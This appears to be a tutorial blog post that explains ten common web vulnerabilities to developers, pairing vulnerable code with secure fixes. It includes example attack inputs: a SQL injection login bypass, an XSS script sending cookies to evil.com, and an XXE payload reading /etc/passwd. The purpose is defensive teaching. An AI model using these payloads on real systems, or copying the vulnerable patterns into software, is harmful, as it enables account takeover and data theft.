10 Cybersecurity Concepts Every Developer Must Know

Most developers write code that works. Fewer write code that is secure. The gap between those two groups is not intelligence or effort — it is exposure to how attacks actually work. Once you understand the attack, the defense becomes obvious. Here are ten foundational security concepts that will fundamentally change how you write code, with concrete examples from real vulnerabilities.

1. SQL Injection — The Vulnerability That Still Owns Databases

SQL injection has been in the OWASP Top 10 for over 20 years. It still appears in production code in 2026. The reason: developers forget that user input is never safe to concatenate directly into queries.

# VULNERABLE — DO NOT DO THIS:
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
# Attack: username = "admin' --"
# Result: SELECT * FROM users WHERE username='admin' --' AND password='...'
# The -- comments out the rest — attacker logs in as admin with any password

# SAFE — Always use parameterized queries:
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))
# User input is NEVER interpreted as SQL — it is treated as pure data

2. XSS (Cross-Site Scripting) — Injecting Code into Pages

XSS allows attackers to inject malicious JavaScript into pages viewed by other users. It is used for session hijacking, credential theft, and defacement.

# VULNERABLE — rendering raw user input in HTML:
<p>Hello, {{ username }}</p>
# If username = <script>document.location='http://evil.com/?cookie='+document.cookie</script>
# Every visitor to that page gets their cookie stolen

# SAFE — always escape output:
<p>Hello, {{ username | htmlspecialchars }}</p>
# The < and > become &lt; and &gt; — displayed as text, never executed

# In JavaScript — use textContent, not innerHTML:
element.textContent = userInput;  // SAFE
element.innerHTML = userInput;    // DANGEROUS

3. Broken Authentication — When Sessions Become Weapons

Authentication bugs are silent. Users do not see them happening. Here are the mistakes that appear most often:

# WRONG: Short, predictable session IDs
session_id = str(user_id) + str(int(time.time()))  # trivially guessable

# RIGHT: Cryptographically random session IDs
import secrets
session_id = secrets.token_hex(32)  # 256 bits of randomness

# WRONG: Storing passwords as plain text or MD5
db.store("password", md5(password))  # crackable in seconds

# RIGHT: Use a proper password hashing function
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

# WRONG: Never invalidating sessions on logout
# RIGHT: Delete server-side session data AND expire the cookie on logout

4. Insecure Direct Object References (IDOR)

IDOR is one of the most commonly found bugs in bug bounty programs. You have an endpoint like /api/users/1234/profile — but what if an attacker changes 1234 to 1235? Can they view someone else’s data?

# VULNERABLE:
@app.route('/api/orders/<int:order_id>')
def get_order(order_id):
    order = db.get_order(order_id)  # No check: does this user OWN this order?
    return jsonify(order)

# SAFE — always verify ownership:
@app.route('/api/orders/<int:order_id>')
@login_required
def get_order(order_id):
    order = db.get_order(order_id)
    if order.user_id != current_user.id:  # Authorization check
        abort(403)  # Forbidden
    return jsonify(order)

5. Sensitive Data Exposure — Where Secrets Leak

The most common places secrets are accidentally exposed:

  • Git repositories — API keys, database passwords committed to code. Use .gitignore and environment variables. Never commit a .env file.
  • Error messages — Stack traces showing database structure, file paths, or internal logic. Use generic error messages in production.
  • Logs — Applications logging passwords or credit card numbers. Audit what you log.
  • HTTP responses — Returning full database objects with fields users should not see. Serialize explicitly, never return raw ORM objects.
# Scan your repo for accidentally committed secrets:
git log --all --full-history -- "**/*.env"
# Or use truffleHog:
trufflehog git file://. --only-verified

6. XML External Entities (XXE) — The Hidden File Reader

If your application parses XML, it may be vulnerable to XXE. An attacker can craft XML that reads local files off your server.

<!-- Malicious XML payload: reads /etc/passwd from the server -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

# Defense in Python with lxml:
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(xml_input, parser)

7. Security Misconfiguration — When Defaults Are Dangerous

  • Default admin credentials left in place (admin/admin on Jenkins, routers, databases)
  • Directory listing enabled on web servers — attackers browse your file structure
  • Debug mode left on in production — exposes source code and secrets
  • Overly permissive CORS: Access-Control-Allow-Origin: * on an authenticated API
  • Cloud storage buckets left publicly readable (S3, GCS)
# Check for open S3 buckets:
aws s3 ls s3://your-bucket-name --no-sign-request
# If this works without credentials — your bucket is public

# Check security headers on your app:
curl -I https://yourapp.com | grep -E "Strict|Content-Security|X-Frame"
# You want to see: Strict-Transport-Security, Content-Security-Policy, X-Frame-Options

8. Insecure Deserialization — When Data Becomes Code

When applications deserialize untrusted data, they can unknowingly execute attacker-controlled code. This vulnerability has been responsible for some of the most severe Java and PHP RCE (Remote Code Execution) vulnerabilities.

# DANGEROUS — Python pickle deserialization:
import pickle
data = request.get_data()  # Never deserialize raw user input with pickle!
obj = pickle.loads(data)   # Attacker can craft data that executes arbitrary code

# SAFE — use JSON for data exchange (no code execution):
import json
data = request.get_json()  # JSON cannot execute code on deserialization

9. Using Components with Known Vulnerabilities

Your application is only as secure as its most vulnerable dependency. The Log4Shell vulnerability in 2021 affected thousands of applications that were not even aware they were using Log4j transitively.

# Check your Python dependencies for known CVEs:
pip install safety
safety check

# Check Node.js dependencies:
npm audit

# Check Java/Maven dependencies:
mvn org.owasp:dependency-check-maven:check

# Best practice: pin dependency versions, update regularly, run in CI pipeline

10. Insufficient Logging and Monitoring

This is the most underrated item on the OWASP Top 10. The average time to detect a breach is 207 days. That is 207 days of attackers being inside your systems, and you had no idea. Proper logging tells you when something is wrong.

# Log security events explicitly:
import logging
security_logger = logging.getLogger('security')

# Log these events at minimum:
# - Failed authentication attempts (with IP, timestamp, username)
security_logger.warning(f"Failed login: user={username} ip={request.remote_addr}")

# - Privilege escalation events
security_logger.critical(f"Admin accessed by: user={current_user} ip={request.remote_addr}")

# - Data access for sensitive records
security_logger.info(f"PII accessed: record={record_id} by user={current_user}")

# Log what matters: WHO did WHAT to WHICH resource at WHAT TIME from WHERE

The One Rule That Covers Everything

Never trust user input. That is it. Every vulnerability on this list exists because some code somewhere trusted input from a user (or an external system) without validating, sanitizing, or authorizing it. Your SQL queries: parameterize them. Your HTML output: escape it. Your file paths: validate them. Your session tokens: randomize them. Your API objects: authorize them. Make distrust of input your default mental posture when writing code, and your attack surface shrinks dramatically.